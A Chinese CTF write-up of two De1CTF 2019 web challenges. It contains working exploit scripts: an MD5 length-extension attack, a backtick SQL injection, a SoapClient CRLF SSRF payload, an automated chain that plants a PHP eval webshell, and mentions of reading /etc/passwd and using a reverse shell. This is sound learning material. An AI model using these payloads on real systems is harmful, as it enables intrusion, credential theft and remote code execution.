这两道题目一个目测感觉是送分题还有一道是原题,但是过程挺有意思的,这里简单记录下。
SSRF ME
ShellShellShell
这两道题其实有点偏脑洞成分,不过给出了hint
,下面主要挑点有价值的点来学习下。
这个题目不是特别有意思,简单的python审计+ Md5扩展长度攻击,但是有意思的是可以总结下Md5扩展攻击的秒题思路,以及脚本编写。
题目链接 (我做的时候题目环境还在:)
#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False #generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
这里丢一下我当时自己再做这个题目写的一些草稿。
# 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。 action = urllib.unquote(request.cookies.get("action")) # print(action) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request .cookies.get("sign")) ip = request.remote_addr # 这里通过 http协议的header头Cookies: action=123;sign=ss # 还有URLPath的query: ?param=123 # 去设置 class Task 初始化实例时 调用的实例 if(waf(param)): # file protocol can be bypassed by use local-file:// (urllib cve) return "No Hacker!!!!" task = Task(action, param, sign, ip) # follow it # task = Task(action, param, sign, ip) # return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端 def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign print ip # 读下Exec,简化下逻辑 # 首先self.checkSign() 第一重限制 # def checkSign(self): 核心 getSign(self.action, self.param) == self.sign # def getSign(action , param) 核心: # return hashlib.md5(secert_key + param + action).hexdigest() # 然后分析下代码: if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) # here is vulunerability if (resp == "Connection Timeout"): result['data'] = resp else: print resp # here,just print resp in server,dont't output user tmpfile.write(resp) # save result to result.txt tmpfile.close() result['code'] = 200 if "read" in self.action: # so we must run it to output result f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" # 整理下整个题目的思路: # 两个限制的绕过 # def waf(content) -----> local-file:// # def checkSign(self) ---> md5扩展攻击 # 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己 # 没写一些脚本去说明和简化这类型的通用解法 # https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍 # 趁着这次做题,补充下做题的工具做法 @app.route("/geneSign", methods=['GET', 'POST']) # get step1 def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) # secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4) # need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4) # secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key # /geneSign?param=local-file:///etc/pwd # fe28521b6c224cad35396cacdb118890 # secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)
写的比较乱哈,当时有脑抽了,本来到这里,完全可以利用那个
/geneSign?param=local-file:///etc/passwdread
生成对应的md5的了,
我当时也简单想了下,当时自己把正确的出题思路想通了,结果。。。以为就不行了。
这个题目这样判断的话就没办法了。
if "read" in self.action
=> if "scanread" in self.action:
(因为你是不可能获取到read为结尾的md5呀,是不是特别好理解,我当时就是理所当然了,以为代码是这样的。)
当时可能眼花了,其实另一方面是我觉得这个题目虽然挺普通,但是能再次回顾下md5扩展思路的一些做题技巧,因为自己大一大二一直在学习知识拓展自己的知识面,所以很少做ctf的题目,平时遇到什么类型的题基本就是自己重新理解然后写脚本来做的,所以做题速度很慢,反正就是特别菜那种,所以吸取教训之后,我就需要把一些常见的知识点写出快速秒题脚本和思路总结起来。 let us start………….
关于原理,小弟不才,写了篇文章放在了githud上cryptograph-of-web
我们可以通俗简单理解下md5扩展攻击原理:
常用的攻击形式:
已知: md5(secretkey+'x')
未知: key的值
求md5(secretkey+'x补位长度个\x00'+'aaa') 其实更通用的说法就是构造个能带有aaa的md5值
原理很简单:
MD5以512比特(64字节)为一组进行分组加密得到ABCD变量最后ABCD变量的级联就是最后的MD5值
那么大于64字节之后,那么ABCD变量就是前面64字节md5后的结果。
根据题目来看看怎么攻击:
首先我们要确定下我们读取的文件的路径:
看到waf再看到check.startswith
匹配开头file
我就知道先去搜下cve了
网址如下:
很明显有这个bug,我们跟进源码看看为啥。
mac安装路径:
/usr/local/Cellar/python@2/2.7.15_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7
然后简单看下urlopen
方法
看到file
协议也是调用了封装的local_file
协议
成因及其代码都相当简单,这个不是重点就不多讲了。
我们根据文件读取,可以读取/root/.history
然后得到flag路径,就是local_file:///app/flag.txt
那么我们怎么构造满足条件的md5呢
先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')
77a4adb63c86bd6e8ad440e6123c3872
构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')
其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下
也就是把secretkey+local_file:///app/flag.txt
=>看成secretkey
不就是和上面等价了吗
然后打开:
然后用下小脚本转换为urlencode形式
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read
str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read' print str.replace(r'\x','%')
得到:
scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read
然后按照python代码传递对应的参数即可。
我感觉调用那个hashdump有点麻烦,那么有没有相关的python库能直接调用呢。
@一叶飘零师傅写的脚本
#!/usr/bin/python # -*- coding:utf-8 -*- import hashpumpy import requests import urllib url = 'local_file:flag.txt' r = requests.get('http://139.180.128.86/geneSign?param='+url) old_sign = r.content new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16) cookies={ 'sign': new_sign[0], 'action': urllib.quote(new_sign[1][19:]) } r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies) print(r.content)
这里有个关键的配置,可以简单说下
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
1.oldsign
代表是md5(secret+'local_file:flag.txt'+'scan')
2.url + 'scan'
代表'local_file:flag.tx' + 'scan' =local_file:flag.txscan
3.read
作为按要求填充的位置。
其实42和16都是可以,关键是你怎么计算key的长度和选取input的内容。
这里取key为16那么input的内容就是local_file:flag.txtscan
上面我那个样例取key为42那么input的内容就是'scan'。
关于flag的路径,我是通过读取/root/.history
猜到的。
其实这个题目其实都不用绕过协议也行
我们直接传入文件名也可以读取,因为不存在协议的时候,默认就是file
协议
所以local-file
也是可以的(我也不知道作者为啥这样写)
然后我们也可以可以发现前面payload:
local_file:flag.txt
路径就是相对脚本的路径
而
local_file://
就必须使用绝对路径(协议一般都是这样)
我们可以简单分析下代码:
这里通过getattr
进行了相应协议的调用的,我们跟进看下file
及其local_file
你使用file:urllib.py
或者local_file:urllib.py
都不会满足
if file[:1] == '/': urlfile = 'file://' + file elif file[:2] == './': raise ValueError("local file url may start with / or file:. Unknown url of type: %s" % url) return addinfourl(open(localname, 'rb'), headers, urlfile)
最后直接把文件名传入了
return addinfourl(open(localname, 'rb'), headers, urlfile)
还有个很有意思的点,(湖大一个师傅给的,膜)
local-file:///proc/self/cwd/flag.txt
其中
/proc/self/cwd/
代表的是当前路径
很明显cwd指向的总是bash的进程,也就是取当前路径的意思。
浅评这道题目:
这个题目虽然是原题,但是做题步骤相当繁琐,很考验一个ctfer的能力,通过复现这道题,感觉学习了很多东西。
由于题目链接已挂,我只好本地dokcer起服务来完成复盘了。
docker build -t de1ctf:web .
docker run --name ctf_de1ctf -p 8887:80 de1ctf:web
全部web服务启动:
docker-compose up -d
下载源码直接采取
官方wp的脚本GetSwp.py
(感觉这个考点对于这个题目来说没啥必要)
#coding=utf-8 # import requests import urllib import os os.system('mkdir source') os.system('mkdir source/views') file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp'] part_url='http://45.76.187.90:11027/' for i in file_list: url=part_url+i print 'download %s '% url os.system('curl '+url+'>source/'+i)
首先发现了各个文件都包含了config.php
,跟进看看
function addsla_all() { if (!get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); } } addsla_all(); //这里调用了全局过滤,采用了addslashes,addslashes_deep跟进这个函数可以知道
这样我们基本不要想什么插入单引号,反斜杠啥的,但是是不是不能注入呢,答案是否定的。
比如一些$_SERVER变量
或者没有单引号包裹的可控点
找注入的话,我们还是得看底层操作封装的安全性。
private function get_column($columns){ if(is_array($columns)) $column = ' `'.implode('`,`',$columns).'` '; else $column = ' `'.$columns.'` '; return $column; } public function insert($columns,$table,$values){ $column = $this->get_column($columns); $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')'; $nid = $sql = 'insert into '.$table.'('.$column.') values '.$value; $result = $this->conn->query($sql); return $result; }
稍微修改下代码,方便本地调试
<?php function get_column($columns){ if(is_array($columns)) $column = ' `'.implode('`,`',$columns).'` '; else $column = ' `'.$columns.'` '; return $column; } function insert($columns,$table,$values){ $column = get_column($columns); $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')'; $nid = $sql = 'insert into '.$table.'('.$column.') values '.$value; // $result = $this->conn->query($sql); return $result; } ?>
一开始先自己读一下处理下逻辑。
//insert table (`column1`, `column2`, `column3`) values (`value1`, `value2`, `value3`) //mysql插入语句 涉及就是 table column value //所以首先我们可以先看下get_column这个函数 function get_column($columns){ if(is_array($columns)) //判断$columns 变量是不是数组,如果是的话就进行下面的拼接 $column = ' `'.implode('`,`',$columns).'` '; //读这句代码,很容易看错,我们需要切割来看,这里利用了`,`作为连接符号 array('1',) //array('1','2') => 1`,`2 => `1`,`2` // ' `' . implode('`,`',$columns) . '` ' else $column = ' `'.$columns.'` '; return $column; } //这里感觉还是没问题的,我们继续分析下去 $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')'; // 提取出来分析: preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)) $nid = $sql = 'insert into '.$table.'('.$column.') values '.$value;
简单谈谈preg_replace
的用法
// 我们首先了解preg_replace的Description
//preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
//Searches subject for matches to pattern and replaces them with replacement.这样就能很好理解第一个是规则,第二个是替换内容,第三个是需要替换的字符串
preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))
这里关于
replacement
有个占位的用法$n or //n 对应的是 第n个子正则也就是括号起来的代表是一个子分组。
所以说:
preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)) //[^`,] 这个正则的意思就是除开 ` 和 ,字符去匹配其他字符。 其实就是处理value是数组的情况 //这段代码的功能就是把`1` => '1' //但是对于 1`or# => `1`or#` (没有可以切割的) //然后进行替换的时候(他是根据``配对来匹配的)先匹配了前面的`1`然后后面的or#`就逃逸出单引号了,导致了注入
那么正确的写法是怎么样的呢?
$value = '('.preg_replace('/`(.*)`/','\'${1}\'',get_column($values)).')'; //这样就限制死了,不会逃逸出去了,但是这样只能处理一个没办法处理数组 //这也是这个代码注入出现的成因 // 考虑到了 如果是数组的情况 `1`,`2`,`3` 转换为 '1','2','3' 直接用那个正则是会产生注入的 //我们可以直接 str_replace('`','\'',),但是这样还是不行,至于为什么。呵呵。。。 // 那么什么方案才是比较合理的呢? // 1.过滤输入的` 这才是根源
也就是说我们直接引入反引号,就有可能导致注入,那么我们全局搜索看看哪里进行了insert
操作。
那我们直接跟进看看
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me //首先username做了过滤 //$password 进行了md5 // get_ip() <= return $_SERVER['REMOTE_ADDR']; //所以这里没办法进行注入,没有可控的变量。
但是还有下一处,我们跟进看看
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood)); //这里的$value参数里有个$_POST['signature'],这样我们就可以进行注入了。
但是这个题目有挺多限制的,首先需要登陆,登陆的话就需要注册,注册的话就要跑一下验证码
我们可以选择跟进验证码生成的代码流程看看。
function rand_s($length = 8) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'; $password = ''; for ( $i = 0; $i < $length; $i++ ) { $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; } return $password; } $code = rand_s(3); $md5c = substr(md5($code),0,5); $c_view = "substr(md5(?), 0, 5) === $md5c"; $_SESSION['code'] = $md5c;
写个脚本快速注册一个账号,之后直接丢给sqlmap跑就好了(只要没过滤,或者简单过滤,我都推荐直接用sqlmap跑,毕竟优化做得好呀)
我们可以跑出账号和密码为:
| id | ip | username | is_admin | password | allow_diff_ip |
+----+------------+----------+----------+---------------------------------------------+---------------+
| 1 | 127.0.0.1 | admin | 1 | c991707fdf339958eded91331fb11ba0 | 0 |
| 2 | 172.17.0.1 | admin321 | 0 | 4acb4bc224acbbe3c2bfdcaa39a4324e (admin321) | 1 |
第二个是我注册的,第一个我们去解密一下
因为在login.php
是md5($_POST['password'])
我们可以得到用户名和密码是:
这里登陆的admin的话做了个验证,因为由上面我们可以知道
allow_diff_ip=0
所以我们要找其他办法去绕过这层限制,最容易想到的就是ssrf了,但是这个要发送post数据包,我们先继续整理下代码,看看有没有其他有意思的点,比如一些变量覆盖什么的,呵呵。。。(这道题很适合拿来改编)
这里我们可以发现进行了一个unserialize
反序列化数据的操作,并且我们可以通过注入控制序列化内容。
触发点在: views/index.php
所以我们可以全局搜索下有没有相关的魔术方法可以构造下pop链。
结果找了下好像没有,然后自闭了。。。。。php学得太浅了。。。(ps。膜一叶飘零师傅18年就这么强了,19年才开始接触php的脚本小子菜哭。)
后面我会通读一些php内置类的源码(可以跟一下php7最新的类),实践下触发反序列化的骚操作,好好补充下自己这方面的缺点。
这里贴一下柠檬师傅,fuzzphp内置类的php代码,重点是两个内置方法
get_declared_classes
get_class_methods
$ php fuzz_class.php
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
下面开始是反序列化重点学习SoapClient分割线。。。。。。。。。(感叹自己真的是特别菜。。。)
利用条件:
通杀php5、php7
关于SOAPAction
怎么CRLF,N1CTF Easy&&Hard Php Writeup写的很详细。
这里我从源码开始跟一下user_agent
是怎么导致CRLF SSRF攻击的。
首先了解下SOAP的概念
SOAP(simple object access protocol)
简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议,它被设计成在WEB上交换结构化的和固化的信息。
是连接或web服务或客户端和web服务之间的接口
采用HTTP作为底层通讯协议, XML作为数据传送的格式
SOAP信息通常是单向传输。
然后我们看下php中SoapClient
类的用法。
然后序列化的,因为__call
调用_soapCall
发送请求
所以简单的用法就是:
<?php
$a = new SoapClient(null, array('location' => "http://111.230.xxx.xx:8887",
'uri' => "0"));
$a->test();
$b = serialize($a);
echo $b;
unserialize($b);
echo 'test2';
// phpinfo();
?>
关于源码非常好读,直接跟下去就可以理解操作了,这里我提取关键代码出来。
直接看扩展目录 /ext/soap/soap.c
1.注册类
2.调用构造函数PHP_METHOD(SoapClient, SoapClient)
,解析options
参数
3.获取option的user-agent添加到类的属性
4.调用__call
魔术方法 PHP_METHOD(SoapClient, __call)
发起请求
5.最后直接拼接进header
所以我们可以直接引入CRLF攻击,
伪造post请求,关键在于http
协议的两个header
Content-Type: application/x-www-form-urlencoded
content-Length: strlen(post_data)
可以看到user_agent
都在两者的前面,控制长度,便能忽略后面的东西(有空再读一下怎么解析http协议的)
所以我们可以通过利用SoapClient
伪造一个post请求,那么这个post请求除了登陆还有什么用呢。
这里明显可以上传,我们有两个思路,自己通过让session过掉登陆,或者我们直接构造一个上传表单(但是还是得先登陆,不如直接带session去过掉登陆)
这个题目竟然还有下一关是另外一个原题,的确有点出乎意外的,这个题目我就很熟悉啦,p神出的。。。
我们上传shell之后,根据tips,容器通过link
实现内网,我们直接扫c段就行了,执行下命令查看ifconfig
获取ip
因为之前自己也在研究一些内网部署的问题,这里我们分析下怎么快速定位内网范围:
首先我们需要理解两个概念,就是网络地址和主机地址是通过子网掩码来划分的,
子网掩码的作用:
子网掩码可以分离出IP地址中的网络地址和主机地址,那为什么要分离呢?因为两台计算机要通讯,首先要判断是否处于同一个广播域内,即网络地址是否相同。如果网络地址相同,表明接受方在本网络上,那么可以把数据包直接发送到目标主机,否则就需要路由网关将数据包转发送到目的地。
我们平时常说的C段B段A段其实就是:
A类网络缺省子网掩码就是: 255.0.0.0 那么对应的ip比如 192.168.1.1 那么192就是网络地址,后面就是主机地址
B类网络缺省子网掩码: 255.255.0.0
C类网络缺省子网掩码: 255.255.255.0
比如我这个ip就只能是C段通讯的。
所以对于这个题目,我们可以通过3种方式获取到内网的ip
1.ifconfig 查看相关的网卡
2.route 查看相关的路由
3.cat /proc/net/fib_trie 查看路由树
然后直接上传msf的php,反弹shell,然后扫描就行了,我们继续分析下p神那个题目。
<?php $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if($_FILES['file']['name']) { $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name']; if (!is_array($filename)) { $filename = explode('.', $filename); } $ext = end($filename); if($ext==$filename[count($filename) - 1]) { die("try again!!!"); } $new_name = (string)rand(100,999).".".$ext; move_uploaded_file($_FILES['file']['tmp_name'],$new_name); $_ = $_POST['hello']; if(@substr(file($_)[0],0,6)==='@<?php') { if(strpos($_,$new_name)===false) { include($_); } else { echo "you can do it!"; } } unlink($new_name); } else { highlight_file(__FILE__); }
这里比较有意思的点是,就是如何解决unlink这个问题。
1.官方wp
利用php://filter/string.strip_tags/resource=/etc/passwd
导致php segemnt fault,从而保留下来文件。
import requests
import hashlib
target = "http://172.18.0.2/"
ip = "172.18.0.3"
path = "/var/sandbox/%s/"%hashlib.md5(("prefix"+ip).encode()).hexdigest()
#proxies={'http':'http://127.0.0.1:8080'}
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"hello":(None,"php://filter/string.strip_tags/resource=/etc/passwd")}
try:
for i in range(10):
requests.post(target,files=files,)
except Exception as e:
print(e)
for i in range(0,1000):
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"s":(None,"system('cat /etc/flag*');"),"hello":(None,path+str(i)+'.b')}
resp = requests.post(target,files=files,).text
if len(resp)>0:
print(resp,i)
break
✘ xq17@localhost$:python serialize.php
<?php $session_id = $_GET['sessid']; $code = $_GET['code']; // $target = 'http://111.230.197.23:8088/index.php?action=login'; // 这里有个坑,因为是ssrf,所以千万不要带外部的端口进来,直接是127.0.0.1/就好了,坑了有点难受 $target = 'http://127.0.0.1/index.php?action=login'; # 这里也是 特殊字符最好urlencode一下 $post_string = 'username=admin&password=jaivypassword&code='.urlencode($code); $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID='.$session_id ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); $aaa = serialize($b); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); // echo base64_encode($aaa); // echo '</br>'; echo bin2hex($aaa); ?>
✘ xq17@localhost$:python getshell_1.py
#!/usr/bin/python # -*- coding:utf-8 -*- # Type: UnderScoreCase import requests import re import random import string import multiprocessing from urllib import quote from hashlib import md5 import sys debug = False deep_debug = False retry_count = 5 timeout = 5 host = 'http://127.0.0.1:8887/' s = requests.Session() def get(session, url , params = { 'test': 'test'}, proxies = 0): retry = 0 while True: retry += 1 try: if session: if proxies: res = s.get(url, params=params, timeout=timeout, proxies=proxies) else: res = s.get(url, params=params, timeout=timeout) else: if proxies: res = requests.get(url, params=params, proxies=proxies) else: res = requests.get(url, params=params) except Exception as e: if retry >= retry_count: print('timeout or server error!') if debug: print(e) exit() continue break return res def post(session, url , data, proxies = 0): retry = 0 while True: retry += 1 try: if session: if proxies: res = s.post(url, data=data, timeout=timeout, proxies=proxies) else: res = s.post(url, data=data, timeout=timeout) else: if proxies: res = requests.post(url, data=data, proxies=proxies) else: res = requests.post(url, data=data) except Exception as e: if debug: print(e) if retry >= retry_count: print('timeout or server error!') exit() continue break return res def get_plain(cipher, end = 5, length = 5): characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' characters_ = list(characters) while True: plain = str(''.join(random.sample(characters_, length))) if md5(plain).hexdigest()[:end] == cipher: break return plain def get_flag(html): pattern = re.compile('[a-zA-Z0-9]{6}{.*?}') flag_is = re.search(pattern, html) if flag_is: flag = flag_is.group() print("Get The Flag:.............") print("Flag<> " + Flag) else: print("Flag Not Found!..............") exit(0) def get_code(html): # 验证码正则匹配 pattern = re.compile(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-zA-Z]{5})\)') cipher = re.search(pattern, html).group(1) if debug: print(cipher) # 配置生成验证码plain长度和cipher的比较的长度 code = get_plain(cipher, 5, 3) return code def get_creds(): username = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10)) password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10)) return username, password def register(): req_url = host + 'index.php?action=register' username, password = get_creds() resp = get(1, req_url).text code = get_code(resp) if debug: print(code) if deep_debug: print(resp) data = { 'username': username, 'password': password, 'code': code } # finished register, return response html source reh = post(1, req_url, data).text if deep_debug: print(reh) return username, password def login(username, password): req_url = host + 'index.php?action=login' resp = get(1, req_url).text code = get_code(resp) data = { 'username': username, 'password': password, 'code': code } # finished login, return response html source reh = post(1, req_url, data).text if deep_debug: print(reh) return True def get_admin_session(): req_url = host + 'index.php?action=login' new_s = requests.Session() resp = new_s.get(req_url) code = get_code(resp.text) return new_s.cookies.get_dict()['PHPSESSID'], code def publish(sign, mood): req_url = host + 'index.php?action=publish' data = { 'signature': sign, 'mood': mood } res = post(1, req_url, data) return res def get_sql_payload(sessionid, code): req_url = 'http://127.0.0.1:8888/ctf/de1ctf/serialize.php?sessid={}&code={}'.format(sessionid, quote(code)) resp = requests.get(req_url) if debug: print(resp.text) return resp.text def get_shell_1(payload, admin_session): payload = '0x' + payload payload = 'a`,{})#'.format(payload) print('[+] injecting payload through sqli') resp = publish(payload, '0') if debug: print(payload) if deep_debug: print(resp.text) print('[+] triggering object deserialization -> ssrf') req_url = host + 'index.php?action=index' get(1,req_url) # trigger end s.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': admin_session}) req_url = host + 'index.php?action=publish' resp = get(1, req_url) if deep_debug: print(resp.text) print('[+] uploading shell') # requests 经典的files用法 shell = {'pic': ('xq17.php', '<?php eval($_POST[1]);echo md5(1);?>', 'image/jpeg')} resp = s.post(req_url, files = shell) if deep_debug: print(resp.text) link_shell = host + 'upload/xq17.php' res = get(0, link_shell) if res.status_code == 200: print('[+] shell upload success =>' + link_shell) def main(): username, password = register() login(username, password) # # we can get info from sqlmap # admin_user = 'admin' # admin_hash = 'c991707fdf339958eded91331fb11ba0' # admin_pass = 'jaivypassword' # if debug: # print(username, password) # login(admin_user, admin_pass) # print('[+] admin login({}, {})'.format(admin_user, admin_pass)) # print('[+] admin session => {}'.format(s.cookies.get_dict()['PHPSESSID'])) print('[+] login({}, {})'.format(username, password)) print('[+] user session => {}'.format(s.cookies.get_dict()['PHPSESSID'])) phpsessid, code = get_admin_session() if debug: print(phpsessid) print(code) print('[+] admin session => {}'.format(phpsessid)) payload = get_sql_payload(phpsessid, code) get_shell_1(payload, phpsessid) if __name__ == '__main__': main()
✘ xq17@localhost$:python getflag.py
一键getshell_1
一键getflag
#!/usr/bin/python # -*- coding:utf-8 -*- import requests host = 'http://127.0.0.1:8888/ctf/de1ctf/' def get_flag(): req_url = host + 'flag.php' files = {'file': ('./xq17.php', '@<?php eval($_POST[1]);?>'),'file[1]':(None,'png'),'file[a]':(None,'/../xq17.php')} res = requests.post(req_url, files = files) print(res.text) def main(): get_flag() if __name__ == '__main__': main()
这个主要是利用end取决的是最后赋值的文件名而不是根据序号来的,然后就是/../
拼接绕过随机字符串。
这几个题目都很好锻炼自己去写脚本的能力,还有就是关于webpwn写的差不多了,找些小案例源代码就可以发了。。
De1CTF2019 官方Writeup(Web/Misc) -- De1ta